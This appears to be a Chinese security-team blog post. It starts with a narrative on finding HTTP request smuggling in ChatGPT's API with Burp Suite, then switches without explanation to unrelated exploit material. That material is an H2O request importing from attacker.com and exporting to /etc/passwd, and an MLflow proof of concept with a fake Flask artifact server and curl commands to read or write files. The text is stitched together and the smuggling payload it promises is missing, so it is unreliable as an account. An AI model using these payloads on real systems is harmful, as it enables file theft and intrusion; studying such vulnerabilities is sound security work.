• 服务器体系结构导致绕过速率限制

• 查找 API 异常的技术

• 未来发现 bug 的路径

像往常一样，我们的调查首先在 Burp Suite 中绘制出所有 ChatGPT 请求，然后启动自动扫描以在 API 中寻找要探索的新兴趣领域。当对像 ChatGPT 这样的成熟 API 运行 BurpSuite 的自动扫描时，我们实际上并不期望它能找到漏洞。相反，我们用它来查找奇怪的响应和错误，这些响应和错误表明我们正在沿着应用程序中可能没有经过良好测试的代码路径行驶。

许多人在执行 API 测试时忽略的一个技巧是在 Logger 选项卡中观察自动请求，并将任何独特或意外的响应发送到 Repeater 选项卡。许多影响最大的漏洞无法通过 Burp Suite 的规则集捕获，需要手动测试。

这篇文章是关于一个这样的案例。

在自动扫描期间观察记录器时，我们会查看两个主要细节：HTTP 状态代码和响应长度。在观看在 ChatGPT 的 API 上运行的高度定制的 Burp Suite 扫描时，出现了一个奇怪的请求：

在 400 个状态代码和 864 个响应长度的海洋中，这个响应脱颖而出，因为它是一个 401 状态代码，并且是唯一一个长度不是 864 字节的请求。它在 Query 列中也有一个字符串，但这是一个任意的 Burp 添加的字符串，所以通常不是那么有趣。

左侧的请求是对 TE 的测试。CL HTTP 请求走私。右侧的响应是对单个请求的两个响应。非常出乎意料的行为。奇怪的是，Burp Suite 并没有将此报告为漏洞，要求我们在观看 Logger 选项卡时保持敏锐的眼光。

下一阶段是简化有效负载，以便我们可以更好地了解后端发生的情况。通过一次从请求中缓慢删除一条信息的艰苦过程，我们得出了以下简单的有效负载再现。

现在我们可以开始推断发生了什么。这些请求中的每一个都使用准确的 Content-Length 标头，但未使用正常的双 \r\n 正确终止。前端CloudFlare服务器似乎仅根据Content-Length而不是进一步的分隔符解析出多个请求，然后将分解的请求分别发送到后端服务器。

它不太符合HTTP请求走私的传统定义。当攻击者可以发送有效请求时，就会发生常规 HTTP 请求走私，该请求在前端服务器和后端服务器之间的解析方式不同，导致攻击者或应用程序用户接收他们不打算接收的数据。

GET /3/ImportFiles?path=http://attacker.com/somefile HTTP/1.1Host: 127.0.0.1:54321User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestConnection: closeReferer: http://127.0.0.1:54321/flow/index.htmlSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin

POST /3/Frames/someattackerimportedframename/export?path=/etc/passwd&force=true HTTP/1.1Host: 127.0.0.1:54321User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestConnection: closeReferer: http://127.0.0.1:54321/flow/index.htmlSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originContent-Length: 0

mlflow ui --host 127.0.0.1:5000

curl -X POST -H 'Content-Type: application/json' -d '{"name": "...", "source": "..."}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create'

['', 'file', 's3', 'gs', 'wasbs', 'ftp', 'sftp', 'dbfs', 'hdfs', 'viewfs', 'runs', 'models', 'http', 'https', 'mlflow-artifacts']

if self._is_directory(artifact_path):    for file_info in self._iter_artifacts_recursive(artifact_path):        if file_info.is_dir:  # Empty directory            os.makedirs(os.path.join(dst_path, file_info.path), exist_ok=True)        else:            fut = _download_file(file_info.path, dst_path)            futures[fut] = file_info.pathelse:    fut = _download_file(artifact_path, dst_path)    futures[fut] = artifact_path

{    "files": [        {            "path": "...",            "is_dir": false,            "file_size": 1        }    ]}

files/api/2.0/mlflow-artifacts/artifacts/[path]path/tmp/random

from flask import Flask, jsonify
app = Flask(__name__)app.config["DEBUG"] = True
@app.errorhandler(404)def page_not_found(e):    return "Hello World!"
@app.route("/api/2.0/mlflow-artifacts/artifacts")def index():    return jsonify({        "files": [            {                "path": "/tmp/poc",                "is_dir": False,                "file_size": 50            }        ]    })
app.run("0.0.0.0", 4444)

mlflow ui --host 127.0.0.1:5000

python run.py

curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create'

curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "source": "http://127.0.0.1:4444/api/2.0/mlflow-artifacts/artifacts/"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create'

curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "source": "models:/poc/1"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create'

curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=random&name=poc&version=2'

我是梅苑，我在渊龙Sec安全团队等你
微信公众号：渊龙Sec安全团队
欢迎关注我，一起学习，一起进步~
本篇文章为团队成员原创文章，请不要擅自盗取！